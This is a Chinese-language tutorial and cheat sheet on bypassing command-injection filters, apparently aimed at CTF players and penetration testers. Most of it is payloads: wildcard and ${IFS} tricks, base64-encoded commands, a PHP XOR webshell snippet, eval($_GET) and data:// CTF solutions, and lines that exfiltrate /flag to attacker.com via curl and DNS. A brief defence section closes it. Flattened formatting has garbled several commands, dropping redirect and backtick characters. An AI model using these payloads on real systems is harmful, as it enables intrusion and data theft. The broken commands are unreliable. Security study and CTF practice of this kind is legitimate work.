命令执行绕过避坑指南:如何绕过过滤函数和空格限制

命令执行绕过避坑指南:如何绕过过滤函数和空格限制 命令执行绕过的艺术突破过滤与空格的实战技巧在安全测试和代码审计过程中命令执行漏洞是最常见也最危险的漏洞类型之一。防御方通常会部署各种过滤机制来阻止攻击者执行恶意命令而攻击者则需要不断寻找新的方法来绕过这些限制。本文将深入探讨如何巧妙地绕过命令执行中的过滤函数和空格限制为安全研究人员和开发人员提供实用的技术参考。1. 命令执行基础与绕过原理命令执行漏洞通常出现在应用程序将用户输入直接传递给系统shell执行时。防御措施主要包括关键字过滤如过滤flag、cat等敏感词汇函数禁用如禁用system()、exec()等危险函数空格限制阻止命令参数间的空格分隔字符集限制只允许特定字符集绕过这些限制的核心思路是利用shell特性如变量替换、通配符、命令替换等编码转换使用不同编码表示相同命令替代函数使用未被过滤的等效函数特殊字符利用制表符、换行符等替代空格提示所有测试应在授权环境下进行未经授权的测试可能违反法律。2. 关键字过滤的绕过技术当系统过滤特定关键字时可采用以下方法绕过2.1 通配符技巧# 读取flag文件 cat fl* cat ?la?通配符*匹配任意字符?匹配单个字符可有效绕过固定字符串过滤。2.2 变量拼接法afl;bag;cat$a$b通过将关键字拆分为多个变量再拼接执行可绕过简单的字符串匹配。2.3 转义与空变量ca\t /fl\ag cat flag ca$*t fl$*ag ca${undefined} fl${undefined}ag利用转义符、空变量或未定义变量插入到关键字中保持功能不变但改变字符串形式。2.4 反引号与命令替换cat ls cat $(ls)通过执行子命令获取文件名避免直接使用被过滤的关键字。3. 空格限制的绕过方案当空格被过滤时命令参数间的分隔可采用以下替代方法方法示例说明${IFS}cat${IFS}flag.txtIFS是shell的内部字段分隔符%09cat%09flag.txtURL编码的空格(TAB)重定向catflag.txt使用输入重定向花括号{cat,flag.txt}花括号展开变量X ;cat$Xflag.txt使用变量存储分隔符# 实际应用示例 afl;bag;cat${IFS}$a$b curl${IFS}-d${IFS}flag.txt${IFS}http://attacker.com4. 函数过滤的绕过策略当特定执行函数被禁用时可尝试以下替代方案4.1 内联执行绕过?ls? ?$(ls)?反引号和$()都可以在PHP中执行命令可能未被过滤。4.2 替代执行函数除了常见的system()、exec()还有许多可执行命令的函数文件读取类more /flag less /flag head /flag tail /flag二进制处理类od -c /flag strings /flag其他技巧# 利用报错信息 sh /flag 21 # 反转输出 rev /flag4.3 编码绕过技术# Base64编码 echo cat /flag | base64 echo Y2F0IC9mbGFnCg | base64 -d将命令编码后执行解码可绕过基于字符串的过滤。5. 高级组合技巧将多种技术组合使用可提高绕过成功率5.1 文件创建与时间排序touch ag touch fl\\ touch t \\ touch ca\\ ls -t shell sh shell此方法通过创建分散的命令部分文件利用ls -t按时间排序重组命令。5.2 异或与特殊编码对于严格限制字符集的情况可使用异或运算生成所需命令?php $_(%01^).(%13^).(%13^).(%05^).(%12^).(%14^); $___.(%0D^]).(%2F^).(%0E^]).(%09^]); $___$$__; $_($___[_]); ?这段代码通过字符异或构造assert函数可绕过严格的字符过滤。5.3 无回显场景的利用当命令执行没有直接回显时可采用# 写入web可访问文件 cat /flag /var/www/html/result.txt # 外带数据 curl -X POST -d /flag http://attacker.com # DNS外带 dig cat /flag | base64.attacker.com6. 实战案例分析6.1 CTFshow样题解析题目29过滤flag关键字但允许通配符system(tac fla*.php);题目30取代函数与管道符组合cp fla*.ph* 2.txt; echo shell_exec(tac fla*.ph*);题目31-39涉及参数逃逸、伪协议等高级技术// 参数逃逸 eval($_GET[1]);1system(tac flag.php); // 伪协议利用 include$_GET[a]?adata://text/plain,?system(tac flag.php);?6.2 真实环境中的防御建议作为开发人员应当使用白名单而非黑名单只允许已知安全的字符和模式严格参数化使用参数化接口而非拼接命令最小权限原则运行命令的进程应具有最小必要权限多层防御结合输入验证、输出编码、沙箱等多重防护在最近的一次渗透测试中我们发现目标系统虽然过滤了空格和常见命令但通过组合${IFS}、变量拼接和tac命令最终成功读取了系统文件。这提醒我们防御措施必须全面考虑各种可能的绕过方式。